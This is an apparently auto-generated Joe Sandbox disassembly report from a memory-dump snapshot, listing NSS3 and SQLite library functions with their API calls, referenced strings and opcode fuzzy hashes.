Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: b84bf792fc77a38c325a71320e30feb4b1d3c7ecb8aa848d5c1b0c2fbeb2063c
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 8101C8B2A042015FE6309F26FC01BC7B7A1EF46318F000535E95D87B21F632F915C6A2

Function 6CC7AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CC63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC7AE42), ref: 6CC630AA
Part of subcall function 6CC63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC630C7
Part of subcall function 6CC63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC630E5
Part of subcall function 6CC63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC63116
Part of subcall function 6CC63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC6312B
Part of subcall function 6CC63090: PK11_DestroyObject.NSS3(?,?), ref: 6CC63154
Part of subcall function 6CC63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CC599FF,?,?,?,?,?,?,?,?,?,6CC52D6B,?), ref: 6CC7AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CC599FF,?,?,?,?,?,?,?,?,?,6CC52D6B,?), ref: 6CC7AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC52D6B,?,?,00000000), ref: 6CC7AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CC52D6B,?,?,00000000), ref: 6CC7AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CC52D6B,?,?), ref: 6CC7AEA3

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 37eed37a4d9658476000fea4fc44a1f7293af93f4d2580ad8b31677e6db39376
Instruction ID: 3a2a668515fabcbd891133e77f40d27d88e085224368bc7566bec2b1e64087dd
Opcode Fuzzy Hash: 37eed37a4d9658476000fea4fc44a1f7293af93f4d2580ad8b31677e6db39376
Instruction Fuzzy Hash: C701D163B0401057E721917EAC95BAB3158DBC765CF081032E909D7B41F622CD2943B3

Function 6CCF49C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6CCE5F34,00000A20), ref: 6CCF49EC

Part of subcall function 6CCAFAB0: free.MOZGLUE(?,-00000001,?,?,6CC4F673,00000000,00000000), ref: 6CCAFAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6CCE5F34,00000A20,?,?,?,?,?,?,?,?,?,6CCEAAD4), ref: 6CCF49F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6CCE5F34,00000A20,?,?,?,?,?,?,?,?,?,6CCEAAD4), ref: 6CCF4A06
free.MOZGLUE(?,?,?,?,?,6CCE5F34,00000A20), ref: 6CCF4A16
free.MOZGLUE(000A2CB6,?,?,?,?,6CCE5F34,00000A20), ref: 6CCF4A1C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: ee4283d21d28d01c81388b6bf58338de35938c34ceb0be87395630f99f7006d6
Instruction ID: d7edea86d0c6c92c621e2e78ced6c663320e03f74c44f170671408bb87063d6b
Opcode Fuzzy Hash: ee4283d21d28d01c81388b6bf58338de35938c34ceb0be87395630f99f7006d6
Instruction Fuzzy Hash: FE015E76A001049FDB00CF69DCC4D967BBCEF8925970580A5E909CB701F731ED45CBA1

Function 6CD60930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6CD60C83), ref: 6CD6094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CD60C83), ref: 6CD60974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60983
_PR_MD_UNLOCK.NSS3(?,?,6CD60C83), ref: 6CD6099F
OutputDebugStringA.KERNEL32(?,?,6CD60C83), ref: 6CD609B2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 91ab5f37d9d858eeec75e0b32dd0f8f21bbe675110b8a17954e8241326b454ba
Instruction ID: 2be1ef65b3608409a845c60fb0dcf70b407795c890b08c839322b0cfe1c7e1e2
Opcode Fuzzy Hash: 91ab5f37d9d858eeec75e0b32dd0f8f21bbe675110b8a17954e8241326b454ba
Instruction Fuzzy Hash: A80117F4705241DFFF00AF6CE849F593BBDAB46258F1C0216EA4683A66D736E450CA19

Function 6CD62A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD62A5B
free.MOZGLUE(?), ref: 6CD62A6D
strdup.MOZGLUE(?), ref: 6CD62A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD62A96
PR_ExitMonitor.NSS3 ref: 6CD62AB5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: 2678b5708a1b12900ac76baeb56f27b3b447c2c4adb2b9688f2d3d23d47ca12e
Instruction ID: 45797ede9b0c3ad7d8b201b786c09f94aa6eab22dd70bbba1b31ded03b8da2cc
Opcode Fuzzy Hash: 2678b5708a1b12900ac76baeb56f27b3b447c2c4adb2b9688f2d3d23d47ca12e
Instruction Fuzzy Hash: A3F0A9F5F04125D7EE20AFA5EC4978A77389B0169CF054130DE0596E11E771D518C7D5

Function 6CD6ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CD6A6D8), ref: 6CD6AE0D
free.MOZGLUE(?), ref: 6CD6AE14
DeleteCriticalSection.KERNEL32(6CD6A6D8), ref: 6CD6AE36
free.MOZGLUE(?), ref: 6CD6AE3D
free.MOZGLUE(00000000,00000000,?,?,6CD6A6D8), ref: 6CD6AE47

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 93db46ca9867d82b4bec18eeae95bcaf638c74cd35bfedb96f51637093184492
Instruction ID: 71e8119670f975c2ff01d4e58a396c65cb8f34087d2e0c3af6a62deb52f5df6b
Opcode Fuzzy Hash: 93db46ca9867d82b4bec18eeae95bcaf638c74cd35bfedb96f51637093184492
Instruction Fuzzy Hash: CCF0C275301A01A7DA109FE9E848A2BB7BCBE86674B100328E22E83941D733E011C7D1

Function 6CD22B20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00020C24,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD22B64

Strings

misuse, xrefs: 6CD22B58
%s at line %d of [%.10s], xrefs: 6CD22B5D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD22B4E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 632333372-648709467
Opcode ID: 2a038ce3a9239308ca9db6d67a877b4ed5e7a5401961f64c10e7346981914d5b
Instruction ID: 086f86d9f214d7f26f19ecab225b140aefccbde6b1848852d0a80fae5dc534df
Opcode Fuzzy Hash: 2a038ce3a9239308ca9db6d67a877b4ed5e7a5401961f64c10e7346981914d5b
Instruction Fuzzy Hash: 07514570B142068BEB04CF68C8887EFB7E2AF4932CF144128EA59D7B64D739D805C791

Function 6CBE4AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6CBE4C2B

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CBE4C24
winWrite1, xrefs: 6CBE4BC2
winWrite2, xrefs: 6CBE4C01

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-1808655853
Opcode ID: a0f7a847083767bdbb37eb0a58fb1a826411faba24d8f03a0eb65b04bf42f34c
Instruction ID: 71b00d6391c21a7dc5bd3a5cb1cf2c90f402527485f66260429b176ee03961fb
Opcode Fuzzy Hash: a0f7a847083767bdbb37eb0a58fb1a826411faba24d8f03a0eb65b04bf42f34c
Instruction Fuzzy Hash: E941E072A043459BD704DFA9C890A5EB7E9EFC8764F108A29F958877A0E730D904CB92

Function 6CBE6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CBE6D36

Strings

database corruption, xrefs: 6CBE6D2A
%s at line %d of [%.10s], xrefs: 6CBE6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBE6D20

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 82d59502d126c17cecf0f610bf3dbce302d7ad2cf6527c33f1e6eee066ffa4df
Instruction ID: 74650f3997c53f207cfca234221197adf7cb43e643a10b8ddd4b306b1e2918db
Opcode Fuzzy Hash: 82d59502d126c17cecf0f610bf3dbce302d7ad2cf6527c33f1e6eee066ffa4df
Instruction Fuzzy Hash: E3213330A003599BC310CF1AC841B5AB7F2EF88758F64852CD94A9BF51E7B1F948CB92

Function 6CD26B20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

sqlite3_snprintf.NSS3(?,6CD26AC0,6CD8AAF9,00000000,?,6CD26AC0,?), ref: 6CD26BA9
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CD26AC0,?), ref: 6CD26BB2
sqlite3_snprintf.NSS3(?,6CD26AC0,OsError 0x%lx (%lu),00000000,00000000,?,6CD26AC0,?), ref: 6CD26BD9

Strings

OsError 0x%lx (%lu), xrefs: 6CD26BCE

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_free
String ID: OsError 0x%lx (%lu)
API String ID: 2089385377-3720535092
Opcode ID: fbd54b74820dd830df0659fe84b445f1a07389f483a87a3bb06c11caaaca2fea
Instruction ID: 7a6102cd3322aa6fd3464043be456359fffab1ef9dd7a32902f585d9348f1041
Opcode Fuzzy Hash: fbd54b74820dd830df0659fe84b445f1a07389f483a87a3bb06c11caaaca2fea
Instruction Fuzzy Hash: 521172B6A00109ABEB08DFA5EC99DBF7B7DEF86349700002CE60992B51EB205D04C6B5

Function 6CD1CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CD1CC7B), ref: 6CD1CD7A
Part of subcall function 6CD1CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CD1CD8E
Part of subcall function 6CD1CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CD1CDA5
Part of subcall function 6CD1CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CD1CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CD1CCB5
memcpy.VCRUNTIME140(6CDB14F4,6CDB02AC,00000090), ref: 6CD1CCD3
memcpy.VCRUNTIME140(6CDB1588,6CDB02AC,00000090), ref: 6CD1CD2B

Part of subcall function 6CC39AC0: socket.WSOCK32(?,00000017,6CC399BE), ref: 6CC39AE6
Part of subcall function 6CC39AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CC399BE), ref: 6CC39AFC

Part of subcall function 6CC40590: closesocket.WSOCK32(6CC39A8F,?,?,6CC39A8F,00000000), ref: 6CC40597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CD1CCB0

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 8c830affa266674943ab3d4064a74e203bdebc7a0502200383c0b415dec249f8
Instruction ID: d13356acc8cf9fc921630cd1310a4eb040592badd26da54c6942bd2ce83ebce3
Opcode Fuzzy Hash: 8c830affa266674943ab3d4064a74e203bdebc7a0502200383c0b415dec249f8
Instruction Fuzzy Hash: AC1142F5B04240DFFB009F5A9E467867AFC9346258F141139E60A9BF61E671D4088BD9

Function 6CC3AB80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC3AB8A
PR_SetError.NSS3(FFFFE897,00000000), ref: 6CC3AC07

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_LogPrint.NSS3(connect -> %d,00000000), ref: 6CC3AC1A

Strings

connect -> %d, xrefs: 6CC3AC15

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$ErrorPrint
String ID: connect -> %d
API String ID: 1784924131-3487059786
Opcode ID: b5d7effb3a2f4a3922690926b454636c8cf0a626fec6a196a60ce2f65242c2fd
Instruction ID: 8d33ff7b507985187875e217edf6e42228f878fc27ae19ee0768214e1d20a9b3
Opcode Fuzzy Hash: b5d7effb3a2f4a3922690926b454636c8cf0a626fec6a196a60ce2f65242c2fd
Instruction Fuzzy Hash: 63014E71A001549BFF102F68EC06BB53B66FFD235DF04C574E91D86A61F73188A0C691

Function 6CD62BE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD62BFA
PR_ExitMonitor.NSS3 ref: 6CD62C2B
PR_LogPrint.NSS3(%s incr => %d (for %s),?,?,?), ref: 6CD62C5D

Strings

%s incr => %d (for %s), xrefs: 6CD62C58

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrint
String ID: %s incr => %d (for %s)
API String ID: 2736670396-2912983388
Opcode ID: 6732e8994b8ba87767c4070a565105caee0c1f3dab6bfa136e3f0306a9fdba65
Instruction ID: ff83c527aa95cba7be49de20a18063ba53689138c63b4820d2d3ff3b542ecc71
Opcode Fuzzy Hash: 6732e8994b8ba87767c4070a565105caee0c1f3dab6bfa136e3f0306a9fdba65
Instruction Fuzzy Hash: D401B1B6A01214DFEB11CF26D844A5677B9EB8575CF098429E949C7F20EB31EC08C7A5

Function 6CBDA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CD0A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CD2C3A2,?,?,00000000,00000000), ref: 6CD0A528
Part of subcall function 6CD0A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD0A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBDA94F

Strings

database corruption, xrefs: 6CBDA943
%s at line %d of [%.10s], xrefs: 6CBDA948
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBDA939

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: de394a349dbe149768dc23b27d23bfee2ad1d1862e759afe4b9811de980c20ec
Instruction ID: b31075e56d41b4e7d3ffbc03e014d2830371f7f28910014b82d3465b602e715c
Opcode Fuzzy Hash: de394a349dbe149768dc23b27d23bfee2ad1d1862e759afe4b9811de980c20ec
Instruction Fuzzy Hash: 17012B31B002046BD7109B6ADC11B5BB3F59B84318F864429D94957A90D731F8088B91

Function 6CC68850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CC70715), ref: 6CC68859
PR_NewLock.NSS3 ref: 6CC68874

Part of subcall function 6CD198D0: calloc.MOZGLUE(00000001,00000084,6CC40936,00000001,?,6CC4102C), ref: 6CD198E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CC6888D

Strings

NSS, xrefs: 6CC68887

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
